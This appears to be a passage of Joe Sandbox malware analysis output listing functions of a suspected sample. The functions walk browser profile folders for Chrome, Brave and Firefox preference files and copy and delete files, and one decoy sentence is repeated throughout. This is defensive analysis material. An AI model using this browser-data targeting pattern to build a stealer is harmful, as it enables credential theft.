The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction ID: 04d817b79848fc48b59ba69504da24c7d1b3191c531f4b94b2025844f93bc58f
Opcode Fuzzy Hash: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction Fuzzy Hash: E941BB79740624EBC71C9FE5EC89B987F71AB4C712BA0C062F90299190C7F9D5019B3D

Function 0040BCB0 Relevance: 40.9, APIs: 17, Strings: 6, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

1#v, xrefs: 0040BD35
Preferences, xrefs: 0040BF5E
Google Chrome, xrefs: 0040C474
P2#v, xrefs: 0040C5FF
\Brave\Preferences, xrefs: 0040C01B
Brave, xrefs: 0040BF42

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$P2#v$Preferences$\Brave\Preferences$1#v
API String ID: 3334442632-1392536997
Opcode ID: 167c024a988f99dbc550853319b372ac92a84e5277b2a532d4af21f5082d9901
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: 167c024a988f99dbc550853319b372ac92a84e5277b2a532d4af21f5082d9901
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 004143F0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

1#v, xrefs: 00414423
%s\%s, xrefs: 004144DB
P2#v, xrefs: 0041465D
%s\%s, xrefs: 00414484
%s\*, xrefs: 00414400

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$P2#v$1#v
API String ID: 180737720-322404123
Opcode ID: f10b3ef63ac58111c52ea4a6e461e65bdbfa38dd07c4c5dfd894e8abc9a24d7a
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: f10b3ef63ac58111c52ea4a6e461e65bdbfa38dd07c4c5dfd894e8abc9a24d7a
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 6CA035A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CA8F688,00001000), ref: 6CA035D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA035E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA035FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA0363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA0369F
__aulldiv.LIBCMT ref: 6CA036E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA03773
EnterCriticalSection.KERNEL32(6CA8F688), ref: 6CA0377E
LeaveCriticalSection.KERNEL32(6CA8F688), ref: 6CA037BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA037C4
EnterCriticalSection.KERNEL32(6CA8F688), ref: 6CA037CB
LeaveCriticalSection.KERNEL32(6CA8F688), ref: 6CA03801
__aulldiv.LIBCMT ref: 6CA03883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA03902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA03918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA0394C

Strings

GenuntelineI, xrefs: 6CA03639
GTC, xrefs: 6CA03912
QPC, xrefs: 6CA038FC
MOZ_TIMESTAMP_MODE, xrefs: 6CA035DB
AuthcAMDenti, xrefs: 6CA03946

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: fdcd6d2a914314ff676e8402fe50107469bd4b92e7866f6e10ab7abf5a1b13c8
Instruction ID: 639fd2289d30644dc644713bb37a09e0dcf0524ac1f0417bb661aabda997f68d
Opcode Fuzzy Hash: fdcd6d2a914314ff676e8402fe50107469bd4b92e7866f6e10ab7abf5a1b13c8
Instruction Fuzzy Hash: DEB1D171B063429FDB0CDF28D854A5ABBF5BB8A744F04CA3DE499D3350E73098468B91

Function 004139B0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004139D3
FindFirstFileA.KERNEL32(?,?), ref: 004139EA
StrCmpCA.SHLWAPI(?,00420F7C), ref: 00413A18
StrCmpCA.SHLWAPI(?,00420F80), ref: 00413A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00413B7C
FindClose.KERNEL32(000000FF), ref: 00413B91

Strings

1#v, xrefs: 004139EA
P2#v, xrefs: 00413B7C
%s\%s, xrefs: 004139C7

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$P2#v$1#v
API String ID: 180737720-1025293131
Opcode ID: 512713d9111bc43f0bbf9ba38dcfdbdb478c8eb3975ea046f1aaff3a3d924c13
Instruction ID: 0978cf4b12305aed0c6265f700eadee139911ff0226e3ee7039eca2cb0139609
Opcode Fuzzy Hash: 512713d9111bc43f0bbf9ba38dcfdbdb478c8eb3975ea046f1aaff3a3d924c13
Instruction Fuzzy Hash: EE5188B1900218ABCB24EF60DC45EEE777DBF44304F40858DB60996151EB749BC5CF98

Function 0040F4F0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

prefs.js, xrefs: 0040F652
1#v, xrefs: 0040F55E
P2#v, xrefs: 0040F8F1

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2#v$prefs.js$1#v
API String ID: 3334442632-2885088814
Opcode ID: 0fa6beab0bfe238109d321ca42a8603b3a39ce42cd42066e1eefbb6c357fc549
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: 0fa6beab0bfe238109d321ca42a8603b3a39ce42cd42066e1eefbb6c357fc549
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 0040D8C0 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Strings

1#v, xrefs: 0040D92B
P2#v, xrefs: 0040DC0C

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2#v$1#v
API String ID: 3334442632-762677545
Opcode ID: 4d2a5caa54ddd420dd00294a1bf56e100eeb49198da520900e70f3ec28c6a43c
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: 4d2a5caa54ddd420dd00294a1bf56e100eeb49198da520900e70f3ec28c6a43c
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00401710 Relevance: 18.0, APIs: 7, Strings: 3, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425004,?,00401F6C,?,004250AC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425154), ref: 004019B3
StrCmpCA.SHLWAPI(?,004251FC), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

1#v, xrefs: 00401963
P2#v, xrefs: 00401E60
\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
